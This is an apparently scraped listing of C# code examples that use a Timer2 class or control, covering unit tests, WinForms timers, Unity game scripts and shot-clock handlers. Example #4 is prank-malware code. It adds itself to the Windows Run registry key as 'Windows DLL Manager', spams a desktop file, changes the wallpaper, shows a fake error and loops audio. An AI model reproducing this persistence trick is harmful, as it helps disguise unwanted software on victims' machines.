Inheritance: MonoBehaviour
Example #1
0
        public void EnabledTimerTest()
        {
            int interval = 500;

            m_timer           = new Timer2(interval);
            m_timer.AutoReset = true;
            m_timer.Elapsed  += new ElapsedEventHandler(timer_Elapsed);
            m_hasFired        = false;
            m_timer.Enabled   = true;

            Assert.IsTrue(m_timer.Enabled);

            Thread.Sleep(interval + 1);

            Assert.IsTrue(m_hasFired, "Timer didn't fire first time");

            m_hasFired      = false;
            m_timer.Enabled = false;

            Assert.IsFalse(m_timer.Enabled);

            Thread.Sleep(interval + 1);

            Assert.IsFalse(m_hasFired, "Timer fired after diabling");
        }
Example #2
0
        private void StartButton_Click(object sender, EventArgs e)
        {
            StartButton.SendToBack();
            //StopButton.BringToFront();

            if (RadioSeconds.Checked)
            {
                Timer2.Interval = Convert.ToInt32(Time_TextBox.Text);
            }
            else
            {
                Timer2.Interval = Convert.ToInt32(Time_TextBox.Text) * 10000;
            }
            //Start mine
            Timer2.Start();


            if (panel1.Height == 1 && panel1.Width == 133)
            {
                panel1.Height = 129;
                panel1.Width  = 133;
            }
            else
            {
            }
        }
Example #3
0
 //Event tick của panel chứa các nút chức năng
 private void Timer2_Tick(object sender, EventArgs e)
 {
     //OpPanel_Sliding
     if (IsShown)
     {
         if (IsFinished)
         {
             OpPanel.Width -= 10;
             if (OpPanel.Width <= 0)
             {
                 Timer2.Stop();
                 IsShown    = false;
                 IsFinished = false;
                 this.Update();
                 tButton.Enabled = true;
             }
         }
     }
     else
     {
         IsFinished     = false;
         OpPanel.Width += 10;
         if (OpPanel.Width >= (OPanel.Width - EPanel.Width))
         {
             Timer2.Stop();
             IsShown    = true;
             IsFinished = true;
             this.Update();
         }
     }
 }
Example #4
0
        private void Form1_Load(object sender, EventArgs e)
        {
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true);

            registryKey.SetValue("Windows DLL Manager", Application.ExecutablePath.ToString());
            File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n");
            File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n");
            File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n");
            Timer1.Start();
            Timer2.Start();
            Timer3.Start();
            Timer4.Start();
            Timer5.Start();
            Timer6.Start();
            Timer7.Start();
            changewallp();
            Interaction.MsgBox("Damn, something went wrong! Contact me via mail with error code if you want to fix that problem. Mail: [email protected]", MsgBoxStyle.Critical, "Error 0x0001");
            MyProject.Computer.Audio.Play(Resources.barking, AudioPlayMode.BackgroundLoop);
            NotifyIcon1.Visible  = true;
            NotifyIcon2.Visible  = true;
            NotifyIcon3.Visible  = true;
            NotifyIcon4.Visible  = true;
            NotifyIcon5.Visible  = true;
            NotifyIcon6.Visible  = true;
            NotifyIcon7.Visible  = true;
            NotifyIcon8.Visible  = true;
            NotifyIcon9.Visible  = true;
            NotifyIcon10.Visible = true;
            NotifyIcon11.Visible = true;
            NotifyIcon12.Visible = true;
            NotifyIcon13.Visible = true;
            NotifyIcon14.Visible = true;
            NotifyIcon15.Visible = true;
            NotifyIcon16.Visible = true;
        }
Example #5
0
    public void OnEndDrag(PointerEventData eventData)
    {
        transform.localPosition = startPosition;
        timer = FindObjectOfType <Timer2>();
        if (timer.timeOfDay < 150 && !Timer2.harshWeather)
        {
            if (ResourceManager.wood >= 10 && ResourceManager.stone >= 1 && BB_BasicControls.ironMBuilt < 1)
            {
                //transform.position = Vector3.zero;
                //Destroy (clone, 0.1f);
                ResourceManager.subWood(10);
                ResourceManager.subStone(1);
                BB_BasicControls.ironMBuilt++;
                BB_BasicControls.buildBuilt++;
                //Debug.Log("Ennnnd" + transform.position.x);
                //Debug.Log("Ennnnnd" + transform.position.y);

                mousepos    = Camera.main.ScreenToWorldPoint(Input.mousePosition);
                linehandler = Instantiate(building, Camera.main.ScreenToWorldPoint(Input.mousePosition), Quaternion.identity) as GameObject;
                linehandler.transform.SetAsLastSibling();
                linehandler.transform.position = mousepos;
                linehandler.SetActive(true);
                CommonHappinessIndex.RecaclculateHappinessIndex();

                //Debug.Log(ironMBuilt);
            }
        }
    }
Example #6
0
    public void OnEndDrag(PointerEventData eventData)
    {
        transform.localPosition = startPosition;
        timer = FindObjectOfType <Timer2>();
        if (timer.timeOfDay < 150 && !Timer2.harshWeather)
        {
            foreach (var o in NPCSystem.followers)
            {
                if (o.Status == "idle")
                {
                    NPCCountAvl++;
                }
            }

            if (ResourceManager.wood >= 5 && NPCCountAvl >= 1 && tavernBuilt < 1)
            {
                //transform.position = Vector3.zero;
                //Destroy (clone, 0.1f);
                ResourceManager.subWood(5);
                tavernBuilt++;

                //Debug.Log("Ennnnd" + transform.position.x);
                //Debug.Log("Ennnnnd" + transform.position.y);

                mousepos    = Camera.main.ScreenToWorldPoint(Input.mousePosition);
                linehandler = Instantiate(building, Camera.main.ScreenToWorldPoint(Input.mousePosition), Quaternion.identity) as GameObject;
                linehandler.transform.SetAsLastSibling();
                linehandler.transform.position = mousepos;
                linehandler.SetActive(true);
                CommonHappinessIndex.RecaclculateHappinessIndex();

                Debug.Log(tavernBuilt);
            }
        }
    }
Example #7
0
    // Update is called once per frame
    //public static void TimeFill(float n)
    //{
    //    maxTime = n;
    //    timeLeft = maxTime;


    //}
    public void Update()
    {
        timer2 = FindObjectOfType <Timer2>();

        if (timer2.timeOfDay < 150 && !Timer2.harshWeather)
        {
            maxTime = 25;
        }
        else
        {
            maxTime = 35;
        }
        if (timeLeft > 0 && done == false)
        {
            timeLeft        -= Time.deltaTime;
            timer.fillAmount = timeLeft / maxTime;
        }
        else
        {
            done = true;
            //Debug.Log("LinTimer");
            //woods = GameObject.Find("woodnum").GetComponent<Text>();
            stoneCnt = stoneCnt + 1;
            //T.woodCount = woodCnt;
            //woods.text = woodCnt.ToString();
            timeLeft = maxTime;
            done     = false;
        }
    }
Example #8
0
        private void start_Click(object sender, EventArgs e)
        {
            if (m_timer == null)
            {
                if (eventBased.Checked)
                {
                    m_timer          = new Timer2();
                    m_timer.Elapsed += new ElapsedEventHandler(m_timer_Elapsed);
                }
                else
                {
                    m_timer             = new Timer2Subclass();
                    m_timer.UseCallback = true;
                }

                m_timer.SynchronizingObject = status;
                m_timer.Interval            = int.Parse(interval.Text);
                m_timer.Resolution          = int.Parse(precision.Text);
                m_timer.AutoReset           = true;
                m_timer.Start();

                start.Text = "Stop";
            }
            else
            {
                m_timer.Stop();
                m_timer.Dispose();
                m_timer    = null;
                start.Text = "Start";
            }
        }
Example #9
0
 private void Form1_Load(object sender, EventArgs e)
 {
     Form2.DefaultInstance.Show();
     Timer1.Start();
     Timer2.Start();
     ListBox1.DrawMode = DrawMode.OwnerDrawFixed;
 }
Example #10
0
        public void AutoResetFalseTest()
        {
            Timer2 timer = new Timer2();

            timer.AutoReset = false;

            Assert.IsFalse(timer.AutoReset);
        }
Example #11
0
        public void IntervalPositive()
        {
            Timer2 timer = new Timer2();

            timer.Interval = 100;

            // no error == success
        }
Example #12
0
 private void OnCollisionEnter(Collision collision)
 {
     if (collision.gameObject.tag == "Player")
     {
         time2 = Timer2.gettime();
         SceneManager.LoadScene("risult");
     }
 }
Example #13
0
        public void ResolutionPositive()
        {
            Timer2 timer = new Timer2();

            timer.Resolution = 100;

            // no error == success
        }
Example #14
0
        public void ResolutionZeroTest()
        {
            Timer2 timer = new Timer2();

            timer.Resolution = 0;

            // no exception == success
        }
Example #15
0
        public void AutoResetTrueTest()
        {
            Timer2 timer = new Timer2();

            timer.AutoReset = true;

            Assert.IsTrue(timer.AutoReset);
        }
Example #16
0
    // Start is called before the first frame update
    void Start()
    {
        timer = FindObjectOfType <Timer2>();

        myRigidbody = GetComponent <Rigidbody2D>();
        animator    = GetComponent <Animator>();
        SetUpBoundaries();
    }
Example #17
0
        public void ConstructorResolutionZeroTest()
        {
            Timer2 timer = new Timer2(100, 0);

            Assert.IsNotNull(timer);

            // no error == success
        }
Example #18
0
 public void Pause_ShotClock()
 {
     if (Timer2 == null)
     {
         MessageBox.Show("NULL");
         return;
     }
     Timer2.Stop();
 }
Example #19
0
 private void Check_End_Shot_Time()
 {
     if (ShotTime <= 0)
     {
         Timer2.Stop();
         Play_horn();
         Reset_Timer2();
     }
 }
Example #20
0
 private void Form_Login_Load(object sender, EventArgs e)
 {
     Timer1.Start();
     Timer2.Start();
     Ket_noi.Tao_ket_noi();
     Kiem_tra_ket_noi();
     lblChaoMung.Visible = true;
     PictureBox2.Width   = 0;
 }
Example #21
0
 public void Start_ShotClock()
 {
     if (Timer1 == null)
     {
         MessageBox.Show("NULL");
         return;
     }
     Timer2.Start();
 }
Example #22
0
 private void F11Main_Load(object sender, EventArgs e)
 {
     Timer1.Start();
     Timer2.Start();
     Timer3.Start();
     Timer4.Start();
     Timer5.Start();
     Timer6.Start();
     Timer7.Start();
 }
 private static void SetRecorder()
 {
     //Recorder1 recorder = new Recorder1();
     //recorder.ShowDialog();
     //GraphRecorder
     using (Timer2 rec = new Timer2())
     {
         rec.ShowDialog();
     }
 }
Example #24
0
 public void Pause_Time()
 {
     if (Timer1 == null)
     {
         MessageBox.Show("NULL");
         return;
     }
     Timer1.Stop();
     Timer2.Stop();
 }
Example #25
0
 private void Check_End_Time()
 {
     if (Minute == 0 && Second == 0)
     {
         Play_Sub_Horn();
         Timer1.Stop();
         Timer2.Stop();
         Reset_Timer1();
         Reset_Timer2();
     }
 }
 //Timer2
 void Timer2_Tick(object sender, EventArgs e)
 {
     if (Bottom > 4)
     {
         Top--;
     }
     else
     {
         Timer2.Stop();
     }
 }
Example #27
0
 public void frm_Login_Load(object sender, EventArgs e)
 {
     cbState.Text     = "----ເລືອກສະຖານະ-----";
     Panel1.Width     = 0;
     pgb.Value        = 0;
     pgb.Visible      = false;
     Panel1.BackColor = Color.FromArgb(70, Color.Black);
     Panel2.BackColor = Color.FromArgb(70, Color.Black);
     pn.BackColor     = Color.FromArgb(70, Color.Black);
     Timer2.Start();
 }
Example #28
0
 public void Timer2_Tick(object sender, EventArgs e)
 {
     if (Panel1.Width < 371)
     {
         Panel1.Width = Panel1.Width + 20;
     }
     else
     {
         Timer2.Stop();
     }
 }
Example #29
0
 //Huỳnh Viết Thám
 //Các thao tác thực hiện sau mỗi lần thời gian 2 tick
 private void Timer2_Tick(object sender, EventArgs e)
 {
     player[1].time--;
     lbTime2.Text = string.Format("{0:00}:{1:00}", player[1].time / 60, player[1].time % 60);
     if (player[1].time == 0)
     {
         Timer1.Stop();
         Timer2.Stop();
         MessageBox.Show("Time out! You still can continue, but time will be stuck at 00:00!", "Chess ITUS Time Notification", MessageBoxButtons.OK, MessageBoxIcon.Warning);
     }
 }
Example #30
0
        /// <summary>
        ///     Adds a timer.
        /// </summary>
        /// <param name="tick">                The tick. </param>
        /// <param name="enabled">             True to enable, false to disable. </param>
        /// <param name="maxIterations">       (Optional) The maximum iterations. </param>
        /// <param name="removeAfterFinished"> (Optional) True if remove after finished. </param>
        /// <returns>
        ///     A Timer2.
        /// </returns>
        public Timer2 AddTimer(float tick, bool enabled, uint maxIterations = 0, bool removeAfterFinished = false)
        {
            Timer2 timer = Add(new Timer2(tick, maxIterations)
            {
                Enabled = enabled
            });

            if (removeAfterFinished)
            {
                timer.TimerFinished += sender => { Remove(sender); };
            }
            return(timer);
        }
        public void Initialize()
        {
            _stopwatch.Reset();

            // Таймер
            _timer = _gameObjects["timer"] as Timer;

            if (_timer == null) throw new NullReferenceException("timer");

            _timer.Reset();

            // Таймер время до нажатия пробела
            _timerBeforeSpaceDown = _gameObjects["timerBeforeSpaceDown"] as Timer2;

            if (_timerBeforeSpaceDown == null)
                throw new NullReferenceException("timerBeforeSpaceDown");

            _timerBeforeSpaceDown.Reset();

            _firstLoop = true;

            _currentStrike = _gameObjects["currentStrikeInfo"] as StrikeInfo;

            if (_currentStrike == null)
                throw new NullReferenceException("currentStrikeInfo");

            var ballStartPosition = CreateBallStartPosition();
            StoreBallStartPosition(ballStartPosition);

            _ball = GetBall();
            SetupBall(_ball, ballStartPosition);

            var holeStartPosition = CreateHoleStartPosition();
            StoreHoleStartPosition(holeStartPosition);

            _hole = GetHole();
            SetupHole(_hole, holeStartPosition);

            #region Задание параметров отображаемой мишени

            var holeView = _gameObjects["holeView"] as HoleView;

            if (holeView == null)
                throw new NullReferenceException("holeView");

            var holeInfo = _currentStrike.Hole;
            // если отображаемый размер мишени не задан, используется действительный размер
            holeView.SetSize(holeInfo.VisibleSize == null ? holeInfo.Size : holeInfo.VisibleSize.Value);

            #endregion

            // Текущая игра
            _currentGame = _gameObjects["currentGame"] as Game;

            if (_currentGame == null)
                throw new NullReferenceException("currentGame");

            // Все игроки
            var users = _gameObjects["users"] as Users;

            if (users == null)
                throw new NullReferenceException("users");

            // Текущий игрок - испытуемый бьет первым
            _currentUser = users.FirstOrDefault(t => t.UserInfo.UserType == UserTypeEnum.User);

            if (_currentUser == null) throw new NullReferenceException("currentUser");

            _gameObjects["currentUser"] = _currentUser;

            // Снять выделение с имени игрока
            var botScoreView = GameObjects["botScoreView"] as UserScoreView;

            if (botScoreView != null)
            {
                botScoreView.IsActive = false;
            }

            // Показать очки игрока
            var userScoreView = GameObjects["userScoreView"] as UserScoreView;

            if (userScoreView == null) throw new NullReferenceException("userScoreView");

            userScoreView.Score = _currentUser.TotalScore;
            userScoreView.IsActive = true;

            GameObjects["currentUserScoreView"] = userScoreView;

            // Режим игрока
            var experiment = GameObjects["experiment"] as Experiment;

            if (experiment == null) throw new NullReferenceException("experiment");

            _inTestMode = experiment.Mode != null && experiment.Mode.Value == ExeprimentModeEnum.Test && _currentStrike.InTestMode != null;
        }